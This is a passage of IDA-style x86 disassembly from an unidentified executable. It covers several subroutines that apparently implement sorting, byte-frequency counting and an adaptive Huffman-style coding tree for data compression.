mov eax, [ebp+arg_0]
lea ecx, [edx+eax*4]
mov [ebp+var_4], ecx
mov edx, [ebp+var_9C]
mov eax, [edx+18h]
mov ecx, [ebp+arg_4]
lea edx, [eax+ecx*4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
loc_48E5F0: ; CODE XREF: sub_48E26C+3CEj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+var_8]
jnb short loc_48E63C
mov edx, [ebp+var_9C]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_14]
mov edx, [eax+ecx*4]
mov [ebp+var_90], edx
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_90]
push edx
mov ecx, [ebp+var_9C]
call sub_48DA60
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
jmp short loc_48E5F0
; ---------------------------------------------------------------------------
loc_48E63C: ; CODE XREF: sub_48E26C+38Aj
push 80000000h
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_9C]
call sub_48DCFB
mov edx, [ebp+var_9C]
mov eax, [edx+18h]
mov ecx, [ebp+var_9C]
mov edx, [ecx+18h]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [eax+ecx*4]
cmp eax, [edx+esi*4-4]
jz short loc_48E677
jmp short loc_48E685
; ---------------------------------------------------------------------------
loc_48E677: ; CODE XREF: sub_48E26C+407j
mov ecx, [ebp+arg_8]
add ecx, 4
mov [ebp+arg_8], ecx
jmp loc_48E5B9
; ---------------------------------------------------------------------------
loc_48E685: ; CODE XREF: sub_48E26C+354j
; sub_48E26C+409j
jmp loc_48E77C
; ---------------------------------------------------------------------------
loc_48E68A: ; CODE XREF: sub_48E26C+347j
mov edx, [ebp+var_9C]
mov eax, [edx+18h]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_4], edx
mov eax, [ebp+var_9C]
mov ecx, [eax+18h]
mov edx, [ebp+arg_4]
lea eax, [ecx+edx*4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
loc_48E6B4: ; CODE XREF: sub_48E26C+4F3j
mov edx, [ebp+var_4]
cmp edx, [ebp+var_8]
jnb loc_48E764
mov eax, [ebp+var_9C]
mov ecx, [eax+0Ch]
mov edx, [ebp+var_14]
mov eax, [ecx+edx*4]
mov [ebp+var_94], eax
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_9C]
mov eax, [ebp+var_94]
cmp eax, [edx+8]
jnb short loc_48E731
mov ecx, [ebp+var_94]
xor edx, edx
mov dl, [ecx]
shl edx, 18h
mov eax, [ebp+var_94]
xor ecx, ecx
mov cl, [eax+1]
shl ecx, 10h
or edx, ecx
mov eax, [ebp+var_94]
xor ecx, ecx
mov cl, [eax+2]
shl ecx, 8
or edx, ecx
mov eax, [ebp+var_94]
xor ecx, ecx
mov cl, [eax+3]
or edx, ecx
mov [ebp+var_98], edx
jmp short loc_48E74B
; ---------------------------------------------------------------------------
loc_48E731: ; CODE XREF: sub_48E26C+481j
push 0
mov edx, [ebp+var_94]
push edx
mov ecx, [ebp+var_9C]
call sub_48DA60
mov [ebp+var_98], eax
loc_48E74B: ; CODE XREF: sub_48E26C+4C3j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_98]
mov [eax], ecx
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
jmp loc_48E6B4
; ---------------------------------------------------------------------------
loc_48E764: ; CODE XREF: sub_48E26C+44Ej
push 80000000h
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_9C]
call sub_48DCFB
loc_48E77C: ; CODE XREF: sub_48E26C:loc_48E685j
mov edx, [ebp+var_9C]
mov eax, [edx+18h]
mov ecx, [ebp+arg_0]
lea edx, [eax+ecx*4]
mov [ebp+var_4], edx
mov eax, [ebp+var_9C]
mov ecx, [eax+18h]
mov edx, [ebp+arg_4]
lea eax, [ecx+edx*4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov [ebp+var_C], 0
loc_48E7C1: ; CODE XREF: sub_48E26C:loc_48E86Aj
mov edx, [ebp+var_4]
cmp edx, [ebp+var_8]
jnb loc_48E86F
mov eax, [ebp+var_8]
sub eax, [ebp+var_4]
sar eax, 2
mov [ebp+var_18], eax
cmp [ebp+var_18], 100h
jbe short loc_48E7F0
mov ecx, [ebp+var_14]
add ecx, 100h
mov [ebp+var_18], ecx
jmp short loc_48E7F9
; ---------------------------------------------------------------------------
loc_48E7F0: ; CODE XREF: sub_48E26C+574j
mov edx, [ebp+var_18]
add edx, [ebp+var_14]
mov [ebp+var_18], edx
loc_48E7F9: ; CODE XREF: sub_48E26C+582j
; sub_48E26C+5FCj
mov eax, [ebp+var_14]
cmp eax, [ebp+var_18]
jnb short loc_48E86A
mov ecx, [ebp+var_4]
mov edx, [ecx]
cmp edx, [ebp+var_10]
jnz short loc_48E81F
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_48E85F
; ---------------------------------------------------------------------------
loc_48E81F: ; CODE XREF: sub_48E26C+59Dj
cmp [ebp+var_C], 0
jz short loc_48E84E
mov edx, [ebp+arg_8]
add edx, 4
push edx
mov eax, [ebp+var_14]
push eax
mov ecx, [ebp+var_C]
add ecx, 1
mov edx, [ebp+var_14]
sub edx, ecx
push edx
mov ecx, [ebp+var_9C]
call sub_48E26C
mov [ebp+var_C], 0
loc_48E84E: ; CODE XREF: sub_48E26C+5B7j
mov eax, [ebp+var_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
loc_48E85F: ; CODE XREF: sub_48E26C+5B1j
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
jmp short loc_48E7F9
; ---------------------------------------------------------------------------
loc_48E86A: ; CODE XREF: sub_48E26C+593j
jmp loc_48E7C1
; ---------------------------------------------------------------------------
loc_48E86F: ; CODE XREF: sub_48E26C+55Bj
cmp [ebp+var_C], 0
jz short loc_48E897
mov ecx, [ebp+arg_8]
add ecx, 4
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_C]
add eax, 1
mov ecx, [ebp+arg_4]
sub ecx, eax
push ecx
mov ecx, [ebp+var_9C]
call sub_48E26C
loc_48E897: ; CODE XREF: sub_48E26C:loc_48E344j
; sub_48E26C:loc_48E5AAj ...
pop esi
mov esp, ebp
pop ebp
retn 0Ch
sub_48E26C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48E89E proc near ; CODE XREF: sub_48EA9D+1Cp
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
Dst = dword ptr -810h
var_410 = dword ptr -410h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 81Ch
mov [ebp+var_81C], ecx
mov eax, [ebp+var_81C]
mov ecx, [ebp+arg_4]
mov [eax+10h], ecx
mov edx, [ebp+var_81C]
mov eax, [ebp+arg_0]
mov [edx], eax
mov ecx, [ebp+var_81C]
mov edx, [ecx]
mov eax, [ebp+var_81C]
add edx, [eax+10h]
mov ecx, [ebp+var_81C]
mov [ecx+4], edx
mov edx, [ebp+var_81C]
mov eax, [edx+4]
sub eax, 4
mov ecx, [ebp+var_81C]
mov [ecx+8], eax
mov edx, [ebp+var_81C]
mov eax, [ebp+arg_8]
mov [edx+0Ch], eax
mov ecx, [ebp+var_81C]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+var_81C]
mov eax, [edx+10h]
shl eax, 2
push eax
call sub_4C85E1
add esp, 4
mov [ebp+var_818], eax
mov ecx, [ebp+var_81C]
mov edx, [ebp+var_818]
mov [ecx+18h], edx
push 400h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call _memset_0
add esp, 0Ch
mov ecx, [ebp+var_81C]
mov edx, [ecx]
mov [ebp+var_4], edx
jmp short loc_48E962
; ---------------------------------------------------------------------------
loc_48E959: ; CODE XREF: sub_48E89E+F1j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_48E962: ; CODE XREF: sub_48E89E+B9j
mov ecx, [ebp+var_81C]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jnb short loc_48E991
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+ecx*4+Dst]
add edx, 1
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov [ebp+ecx*4+Dst], edx
jmp short loc_48E959
; ---------------------------------------------------------------------------
loc_48E991: ; CODE XREF: sub_48E89E+D0j
mov [ebp+var_10], 0
mov [ebp+var_814], 0
jmp short loc_48E9C3
; ---------------------------------------------------------------------------
loc_48E9A4: ; CODE XREF: sub_48E89E+13Ej
mov edx, [ebp+var_10]
mov eax, [ebp+var_814]
add eax, [ebp+edx*4+Dst]
mov [ebp+var_814], eax
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_48E9C3: ; CODE XREF: sub_48E89E+104j
cmp [ebp+var_10], 100h
jge short loc_48E9DE
mov edx, [ebp+var_10]
mov eax, [ebp+var_814]
mov [ebp+edx*4+var_410], eax
jmp short loc_48E9A4
; ---------------------------------------------------------------------------
loc_48E9DE: ; CODE XREF: sub_48E89E+12Cj
mov ecx, [ebp+var_81C]
mov edx, [ecx]
mov [ebp+var_8], edx
jmp short loc_48E9F4
; ---------------------------------------------------------------------------
loc_48E9EB: ; CODE XREF: sub_48E89E+1A0j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_48E9F4: ; CODE XREF: sub_48E89E+14Bj
mov ecx, [ebp+var_81C]
mov edx, [ebp+var_8]
cmp edx, [ecx+4]
jnb short loc_48EA40
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+ecx*4+var_410]
mov eax, [ebp+var_81C]
mov ecx, [eax+0Ch]
mov eax, [ebp+var_8]
mov [ecx+edx*4], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+edx*4+var_410]
add eax, 1
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov [ebp+edx*4+var_410], eax
jmp short loc_48E9EB
; ---------------------------------------------------------------------------
loc_48EA40: ; CODE XREF: sub_48E89E+162j
mov [ebp+var_C], 0
jmp short loc_48EA52
; ---------------------------------------------------------------------------
loc_48EA49: ; CODE XREF: sub_48E89E:loc_48EA95j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_48EA52: ; CODE XREF: sub_48E89E+1A9j
cmp [ebp+var_C], 100h
jge short loc_48EA97
mov ecx, [ebp+var_C]
cmp [ebp+ecx*4+Dst], 1
jbe short loc_48EA95
push 0
mov edx, [ebp+var_C]
mov eax, [ebp+edx*4+var_410]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_C]
mov eax, [ebp+ecx*4+var_410]
sub eax, [ebp+edx*4+Dst]
push eax
mov ecx, [ebp+var_81C]
call sub_48E26C
loc_48EA95: ; CODE XREF: sub_48E89E+1C8j
jmp short loc_48EA49
; ---------------------------------------------------------------------------
loc_48EA97: ; CODE XREF: sub_48E89E+1BBj
mov esp, ebp
pop ebp
retn 0Ch
sub_48E89E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48EA9D proc near ; CODE XREF: sub_48D2A6+2Ep
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_4], 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
lea ecx, [ebp+var_1C]
call sub_48E89E
mov eax, [ebp+var_4]
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
push ecx
call sub_4C85D6
add esp, 4
mov esp, ebp
pop ebp
retn
sub_48EA9D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48EAE0 proc near ; CODE XREF: .text:0048D069p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push esi
mov byte_4F36B8, 0
push 1
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_4]
push ecx
lea ecx, [ebp+var_18]
call sub_48F5D0
lea edx, [ebp+var_18]
push edx
mov eax, [ebp+arg_8]
mov ecx, [eax]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_48EB81
add esp, 0Ch
mov eax, [ebp+var_18]
add eax, 1
mov esi, [ebp+var_C]
sub esi, eax
mov cl, [ebp+var_14]
push ecx
lea ecx, [ebp+var_18]
call sub_48F644
lea esi, [eax+esi*8]
mov dl, [ebp+var_4]
push edx
lea ecx, [ebp+var_18]
call sub_48F644
mov ecx, 8
sub ecx, eax
add esi, ecx
mov [ebp+var_1C], esi
mov edx, [ebp+var_1C]
add edx, 7
shr edx, 3
mov eax, [ebp+arg_8]
mov [eax], edx
mov cl, [ebp+var_3]
mov byte ptr [ebp+var_20], cl
mov edx, [ebp+var_20]
and edx, 0FFh
test edx, edx
jz short loc_48EB70
mov byte_4F36B8, 1
loc_48EB70: ; CODE XREF: sub_48EAE0+87j
xor eax, eax
mov al, byte_4F36B8
neg eax
sbb eax, eax
inc eax
pop esi
mov esp, ebp
pop ebp
retn
sub_48EAE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48EB81 proc near ; CODE XREF: sub_48EAE0+2Ep
var_2448 = dword ptr -2448h
var_2444 = dword ptr -2444h
var_2440 = byte ptr -2440h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 2448h
call __alloca_probe_0
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
mov [ebp+var_2444], ecx
lea edx, [ebp+var_2440]
push edx
call sub_48EC28
add esp, 4
loc_48EBAF: ; CODE XREF: sub_48EB81+89j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_2444]
jnb short loc_48EC0C
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_2448], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_2448]
and edx, 0FFh
push edx
lea eax, [ebp+var_2440]
push eax
call sub_48ED1D
add esp, 0Ch
mov ecx, [ebp+var_2448]
and ecx, 0FFh
push ecx
lea edx, [ebp+var_2440]
push edx
call sub_48EDD3
add esp, 8
jmp short loc_48EBAF
; ---------------------------------------------------------------------------
loc_48EC0C: ; CODE XREF: sub_48EB81+37j
mov eax, [ebp+arg_8]
push eax
push 100h
lea ecx, [ebp+var_2440]
push ecx
call sub_48ED1D
add esp, 0Ch
mov esp, ebp
pop ebp
retn
sub_48EB81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48EC28 proc near ; CODE XREF: sub_48EB81+26p
; sub_48F434+29p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov dword ptr [eax+418h], 1
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+414h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+40Ch], 2
mov eax, [ebp+arg_0]
mov dword ptr [eax+410h], 0FFFFFFFFh
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+428h], 100h
mov edx, [ebp+arg_0]
mov dword ptr [edx+424h], 1
mov eax, [ebp+arg_0]
mov dword ptr [eax+41Ch], 1
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+420h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+400h], 1
mov eax, [ebp+arg_0]
mov dword ptr [eax+438h], 101h
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+434h], 1
mov edx, [ebp+arg_0]
mov dword ptr [edx+42Ch], 1
mov eax, [ebp+arg_0]
mov dword ptr [eax+430h], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+404h], 2
mov edx, [ebp+arg_0]
mov dword ptr [edx+408h], 3
mov [ebp+var_4], 0
jmp short loc_48ED01
; ---------------------------------------------------------------------------
loc_48ECF8: ; CODE XREF: sub_48EC28+EFj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_48ED01: ; CODE XREF: sub_48EC28+CEj
cmp [ebp+var_4], 100h
jge short loc_48ED19
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4], 0FFFFFFFFh
jmp short loc_48ECF8
; ---------------------------------------------------------------------------
loc_48ED19: ; CODE XREF: sub_48EC28+E0j
mov esp, ebp
pop ebp
retn
sub_48EC28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48ED1D proc near ; CODE XREF: sub_48EB81+65p
; sub_48EB81+9Bp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_C], 0
mov [ebp+var_10], 1
mov [ebp+var_8], 0
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
mov [ebp+var_4], edx
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_48ED56
mov eax, [ebp+arg_0]
mov ecx, [eax+404h]
mov [ebp+var_4], ecx
loc_48ED56: ; CODE XREF: sub_48ED1D+2Bj
; sub_48ED1D+76j
cmp [ebp+var_4], 0
jz short loc_48ED95
mov edx, [ebp+var_4]
and edx, 1
test edx, edx
jnz short loc_48ED6F
mov eax, [ebp+var_C]
or eax, [ebp+var_10]
mov [ebp+var_C], eax
loc_48ED6F: ; CODE XREF: sub_48ED1D+47j
mov ecx, [ebp+var_10]
shl ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+410h]
mov [ebp+var_4], edx
jmp short loc_48ED56
; ---------------------------------------------------------------------------
loc_48ED95: ; CODE XREF: sub_48ED1D+3Dj
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_C]
push ecx
mov ecx, [ebp+arg_8]
call sub_48F734
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx*4], 0FFFFFFFFh
jnz short loc_48EDCF
push 8
mov ecx, [ebp+arg_4]
push ecx
mov ecx, [ebp+arg_8]
call sub_48F734
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_48F2BB
add esp, 8
loc_48EDCF: ; CODE XREF: sub_48ED1D+92j
mov esp, ebp
pop ebp
retn
sub_48ED1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48EDD3 proc near ; CODE XREF: sub_48EB81+81p
; sub_48F434+8Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push esi
mov eax, [ebp+arg_0]
cmp dword ptr [eax+40Ch], 8000h
jnz short loc_48EDF5
mov ecx, [ebp+arg_0]
push ecx
call sub_48EEAD
add esp, 4
loc_48EDF5: ; CODE XREF: sub_48EDD3+14j
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov ecx, [eax+edx*4]
mov [ebp+var_8], ecx
loc_48EE01: ; CODE XREF: sub_48EDD3+D0j
cmp [ebp+var_8], 0FFFFFFFFh
jz loc_48EEA8
mov edx, [ebp+var_8]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [eax+edx+40Ch]
add ecx, 1
mov edx, [ebp+var_8]
shl edx, 4
mov eax, [ebp+arg_0]
mov [eax+edx+40Ch], ecx
mov ecx, [ebp+var_8]
mov [ebp+var_4], ecx
jmp short loc_48EE3F
; ---------------------------------------------------------------------------
loc_48EE36: ; CODE XREF: sub_48EDD3:loc_48EE6Cj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_48EE3F: ; CODE XREF: sub_48EDD3+61j
cmp [ebp+var_4], 0
jle short loc_48EE6E
mov eax, [ebp+var_4]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
shl ecx, 4
mov edx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov eax, [edx+eax+40Ch]
cmp eax, [esi+ecx+40Ch]
jb short loc_48EE6C
jmp short loc_48EE6E
; ---------------------------------------------------------------------------
loc_48EE6C: ; CODE XREF: sub_48EDD3+95j
jmp short loc_48EE36
; ---------------------------------------------------------------------------
loc_48EE6E: ; CODE XREF: sub_48EDD3+70j
; sub_48EDD3+97j
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jz short loc_48EE90
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_48F125
add esp, 0Ch
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_48EE90: ; CODE XREF: sub_48EDD3+A1j
mov eax, [ebp+var_8]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+410h]
mov [ebp+var_8], edx
jmp loc_48EE01
; ---------------------------------------------------------------------------
loc_48EEA8: ; CODE XREF: sub_48EDD3+32j
pop esi
mov esp, ebp
pop ebp
retn
sub_48EDD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48EEAD proc near ; CODE XREF: sub_48EDD3+1Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
mov ecx, [eax+408h]
sub ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
jmp short loc_48EED3
; ---------------------------------------------------------------------------
loc_48EECA: ; CODE XREF: sub_48EEAD:loc_48EF50j
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
loc_48EED3: ; CODE XREF: sub_48EEAD+1Bj
cmp [ebp+var_8], 0
jl short loc_48EF55
mov ecx, [ebp+var_8]
shl ecx, 4
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx+414h], 0
jz short loc_48EF50
mov eax, [ebp+var_8]
shl eax, 4
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax+40Ch]
mov eax, [ebp+var_C]
shl eax, 4
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax+40Ch]
mov ecx, [edx]
mov [eax], ecx
mov ecx, [edx+4]
mov [eax+4], ecx
mov ecx, [edx+8]
mov [eax+8], ecx
mov edx, [edx+0Ch]
mov [eax+0Ch], edx
mov eax, [ebp+var_C]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+40Ch]
add edx, 1
shr edx, 1
mov eax, [ebp+var_C]
shl eax, 4
mov ecx, [ebp+arg_0]
mov [ecx+eax+40Ch], edx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_48EF50: ; CODE XREF: sub_48EEAD+3Dj
jmp loc_48EECA
; ---------------------------------------------------------------------------
loc_48EF55: ; CODE XREF: sub_48EEAD+2Aj
mov eax, [ebp+arg_0]
mov ecx, [eax+408h]
sub ecx, 2
mov [ebp+var_8], ecx
jmp short loc_48EF78
; ---------------------------------------------------------------------------
loc_48EF66: ; CODE XREF: sub_48EEAD+1DAj
mov edx, [ebp+var_8]
sub edx, 2
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
loc_48EF78: ; CODE XREF: sub_48EEAD+B7j
cmp [ebp+var_C], 0
jl loc_48F08C
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
shl edx, 4
mov eax, [ebp+var_10]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+edx+40Ch]
mov ecx, [ebp+arg_0]
add edx, [ecx+eax+40Ch]
mov eax, [ebp+var_C]
shl eax, 4
mov ecx, [ebp+arg_0]
mov [ecx+eax+40Ch], edx
mov edx, [ebp+var_C]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [eax+edx+40Ch]
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
shl edx, 4
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx+414h], 0
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_48EFF6
; ---------------------------------------------------------------------------
loc_48EFED: ; CODE XREF: sub_48EEAD+15Ej
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_48EFF6: ; CODE XREF: sub_48EEAD+13Ej
mov eax, [ebp+var_10]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
cmp edx, [ecx+eax+40Ch]
jnb short loc_48F00D
jmp short loc_48EFED
; ---------------------------------------------------------------------------
loc_48F00D: ; CODE XREF: sub_48EEAD+15Cj
mov eax, [ebp+var_10]
sub eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
sub ecx, [ebp+var_C]
shl ecx, 4
push ecx ; Size
mov edx, [ebp+var_C]
add edx, 1
shl edx, 4
mov eax, [ebp+arg_0]
lea ecx, [eax+edx+40Ch]
push ecx ; Src
mov edx, [ebp+var_C]
shl edx, 4
mov eax, [ebp+arg_0]
lea ecx, [eax+edx+40Ch]
push ecx ; Dst
call _memcpy_2
add esp, 0Ch
mov edx, [ebp+var_10]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov [eax+edx+40Ch], ecx
mov edx, [ebp+var_10]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+edx+418h], ecx
mov edx, [ebp+var_10]
shl edx, 4
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx+414h], 0
jmp loc_48EF66
; ---------------------------------------------------------------------------
loc_48F08C: ; CODE XREF: sub_48EEAD+CFj
mov ecx, [ebp+arg_0]
mov edx, [ecx+408h]
sub edx, 1
mov [ebp+var_8], edx
jmp short loc_48F0A6
; ---------------------------------------------------------------------------
loc_48F09D: ; CODE XREF: sub_48EEAD:loc_48F11Cj
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
loc_48F0A6: ; CODE XREF: sub_48EEAD+1EEj
cmp [ebp+var_8], 0
jl short loc_48F121
mov ecx, [ebp+var_8]
shl ecx, 4
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx+414h], 0
jz short loc_48F0E0
mov eax, [ebp+var_8]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+418h]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+eax*4], edx
jmp short loc_48F11C
; ---------------------------------------------------------------------------
loc_48F0E0: ; CODE XREF: sub_48EEAD+210j
mov eax, [ebp+var_8]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+418h]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
add eax, 1
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+eax+410h], edx
mov eax, [ebp+var_10]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+eax+410h], edx
loc_48F11C: ; CODE XREF: sub_48EEAD+231j
jmp loc_48F09D
; ---------------------------------------------------------------------------
loc_48F121: ; CODE XREF: sub_48EEAD+1FDj
mov esp, ebp
pop ebp
retn
sub_48EEAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F125 proc near ; CODE XREF: sub_48EDD3+AFp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
shl eax, 4
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+eax+414h], 0
jz short loc_48F159
mov edx, [ebp+arg_4]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [eax+edx+418h]
mov edx, [ebp+arg_0]
